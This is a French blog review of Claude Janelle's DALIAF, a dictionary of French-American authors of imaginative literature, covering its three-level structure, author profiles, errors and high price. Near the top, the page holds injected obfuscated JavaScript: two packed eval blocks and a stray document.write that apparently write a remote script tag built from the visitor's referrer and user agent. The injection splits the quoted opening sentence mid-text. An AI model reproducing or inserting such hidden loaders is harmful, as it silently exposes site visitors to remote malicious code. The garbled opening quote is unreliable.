Le DALIAF

“Le fantastique, document.write(“”); la science-fiction et la fantasy composent ce qu’il est dorénavant convenu d’appeler les littératures de l’imaginaire. En Amérique française, et plus particulièrement au Québec, leur apparition se confond avec le début de la littérature canadienne francophone puisque le premier texte recensé, « La Tour de Trafalgar », de Georges Boucher de Boucherville, est une nouvelle de fantastique parue en 1835. Cent soixante-treize ans plus tard, en 2008, année du quatre centième anniversaire de la fondation de Québec, plus de mille sept cents hommes et femmes ont contribué à l’élaboration du corpus des littératures de l’imaginaire en Amérique française. (…) Le [DALIAF] a pour objectif de démontrer l’importance de ce corpus littéraire – principalement québécois”. (Extrait du texte de couverture arrière)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tazad|var|u0026u|referrer|iztit||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atzie|var|u0026u|referrer|febdt||js|php’.split(‘|’),0,{}))

J’ai déjà
présenté le DALIAF dans un billet de novembre 2011 lorsque sa parution a finalement été annoncé mais, maintenant qu’il est disponible et que — m’en étant procuré un examplaire — j’ai pu amplement le consulter, je peux me permettre de le commenter brièvement.

Dans son introduction, Claude Janelle justifit d’abord le titre de son ouvrage: pourquoi est-ce un dictionnaire, quels genres d’auteurs ont été considéré, pourquoi en Amérique française, puis il définit le trois genre littéraire qu’il considère comme littératures de l’imaginaire (intéressantes définitions où entre en ligne de compte le fait que l’histoire se déroule dans notre monde ou pas, avec des éléments rationnelle ou pas, et qu’il y ait une rupture de la normalité ou pas).

Janelle termine en expliquant la structure de son ouvrage qui se lit en trois niveau. Le premier niveau est bibliographique: pour chacun des auteurs on donne la liste chronologique des oeuvres (romans, nouvelles, contes, recueils, etc.) publiés en Amérique du nord de 1835 à 2008 et appartenant aux littératures de l’imaginaire, includant traductions et rééditions. Le deuxième niveau est biographique: pour plus de quatre-vingts pour cent des quelques mille sept cents auteurs on retrouve une brève notice biographique qui remet l’auteur en contexte. Plusieurs de ces notices incluent une photographie de l’auteur (parfois en couleur). Puis, le troisième et dernier niveau est appréciatif puisqu’il offre, pour la plupart des textes, une liste de références critiques renvoyant à des ouvrages spécialisés (DOLQ, ASFFQ), journaux ou magazines littéraires. Cela permet de connaitre quelle a été la réception critique de chaque texte.

Finalement, afin de mettre en lumière les auteurs les plus significatifs et distinguer les écrivains professionnels et réputés des “auteurs du dimanche, des étudiants en création littéraire” ou des “écrivaillons sans prétention” Janelle nous offre, après chacune des sections alphabétiques, une série de cinquante-six profils littéraires (incluant Jean-Pierre April, Aude, Honoré Beaugrand, Natasha Beaulieu, Michel Bélil, Sylvie Bérard, Alain Bergeron, Bertand Bergeron, Claude Bolduc, Guy Bouchard, Jacques Brossard, André Carpentier, Roch Carrier, Joël Champetier, Pierre Chatillon, Denis Côté, Emmanuel Desrosiers, Jean Dion, Frédérick Durand, Louis Fréchette, Maurice Gagnon, Éric Gauthier, Jean-Marc Gouanvic, Agnès Guitard, Jean-Charles Harvey, Anne Hébert, Alexandre Huot, Pierre Lacroix, Michèle Laframboise, Alexandra Larochelle, Jacques Lazure, Pamphyle LeMay, Michel J. Lévesque, Suzanne Martel, Edouard-Zotique Massicotte, Claude Mathieu, Yves Meynard, Hugues Morin, Stanley Péan, Gilles Pellerin, Francine Pelletier, Bryan Perro, Jean Pettigrew, Anne Robillard, Esther Rochon, Patrick Sénécal, Daniel Sernine, Jean-François Somcynsky, Norbert Spehner, Joseph-Charles Taché, Jules-Paul Tardivel, Marie-Josée Thériault, Yves Thériault, Michel Tremblay, Jean-Louis Trudel, et Élisabeth Vonarburg — désolé pour cette longue énumération mais le choix des auteurs peut être significatif pour certains).

Du premier coup d’oeil il est évident que le DALIAF est un ouvrage important et significatif. La compilation de l’information offerte par ce dictionnaire représente un travail immense et de longue haleine, et nous sommes extrèmement reconnaissant à Claude Janelle pour y avoir consacré plusieurs décennies. Il va de soi qu’un ouvrage d’une telle importance, malgré tout les efforts de perfection et de minutie pour les détails, ne sera jamais dépourvu d’erreurs, d’omissions ou même de coquilles (dans mon cas il omet ma nouvelle “profession” d’aide-bibliothécaire [depuis 2008] ainsi que la publication d’un texte intitulé “Enfer” dans Erreur Boréal [1987, pp. 9-10], un numéro spécial de Pilône; Ce genre de choses est inévitable et je suis malheureusement sûr que mon cas n’est pas unique) mais ce qui compte vraiment c’est l’immense somme d’information sur la production littéraire québécoise dans le domaine de l’imaginaire. Comme je l’ai déjà dit, le DALIAF est un outil de référence essentiel pour tout bibliothécaire, étudiant en littérature, intervenant de l’édition ou simplement amateur extrème du livre québécois (c’est aussi un bel exercice de “pétage de bretelles” pour les petits “écrivaillons sans prétention” comme moi!).

Toutefois, la taille (plus de cinq-cent pages), la qualité (un grand format en couleur avec couverture caisse, i.e. couverture cartonnée et reliure cousue) et le tirage peu élevé (ce qui est malheureusement le cas pour ce genre de dictionnaire plutôt académique qui suscite peu d’intérêt du grand public) d’une telle publication oblige à un prix de vente exorbitant (79,95 $ !). De plus, ces même facteurs rendent toute réédition improbable. Donc, si vous êtes le moindrement intéressé à acquérir le DALIAF, ne tardez pas trop car il est fort possible que toute réédition et mise à jour se fasse uniquement en format électronique. Quoiqu’il en soit le DALIAF est un incontournable — si vous pouvez vous le payer ou, sinon, vous pouvez toujours le consulter en bibliothèques.

Le DALIAF: Dictionnaire des auteurs des littératures de l’imaginaire en Amérique française par Claude Janelle. Québec, Éditions Alire, 2011, 535 pgs. Couleur, 17.5 x 25.5 cm. Édition papier: 79,95 $, ISBN: 978-2-89615-074-8; Édition électronique (PDF): 49,99 $, ISBN: 978-2-89615-479-1. Feuilleter un extrait.


Le DALIAF: Dictionnaire des auteurs des littératures de l’imaginaire en Amérique française © 2011 Éditions Alire Inc. & Claude Janelle.